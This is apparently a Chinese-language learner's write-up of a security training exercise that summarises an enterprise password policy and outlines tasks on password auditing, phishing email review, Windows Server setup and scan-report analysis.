这是这个项目的任务书,从上图的要求看出本项目与安全态势、身份验证有关。要符合ISO 27002用于信息安全控制。

  • 身份.csv:“4G$2U3j2$cm@3ur9u”
  • 客户端密码策略.pdf:“kAcC9N5u^a**#K3Hk”

接下来是阅读下载到本地的文件,看看用户的密码是否符合标准。可以帮助我思考在企业中能否发现相关的人的漏洞并且及时修正。

1.阅读密码策略,如下图,了解密码制定、维护的策略

①可以看到首先所有等级的密码都应该每90天更新一次;
②上面提到所有的产品 系统等级的密码必须来自安全密码数据库中;
③所有用户级别不能重复使用最近十次使用过的密码;
④密码不能以明文形式传播;
⑤所有用户、系统或者LEIN/NCIC级别密码还得遵循下面规则:

•在所有系统上的最小长度为12个字符
•不是一个字典上的单词或专有名称。
•与用户ID不同。
•过期时间不超过90个日历天。
•与前十(3)个密码不相同。
•不能在安全位置外以明文或明文传输。
•输入时不显示。
•确保只重置授权用户的密码。

之后对于删除密码的策略也要了解,主要是针对合约到期、员工离职等情况密码交接时,要根据策略对密码、账户进行一个删除工作。

任务部分:审计20个密码,判断是否符合。尽管我们用程序就可以识别,但是依旧需要我们本身就有安全意识。

二、关于钓鱼

审计了几封邮件,判断是否为钓鱼邮件

三、整一个Windowsserver2019

四、审计一份扫描结果,判断存在的弊端,给出建议,获取证书。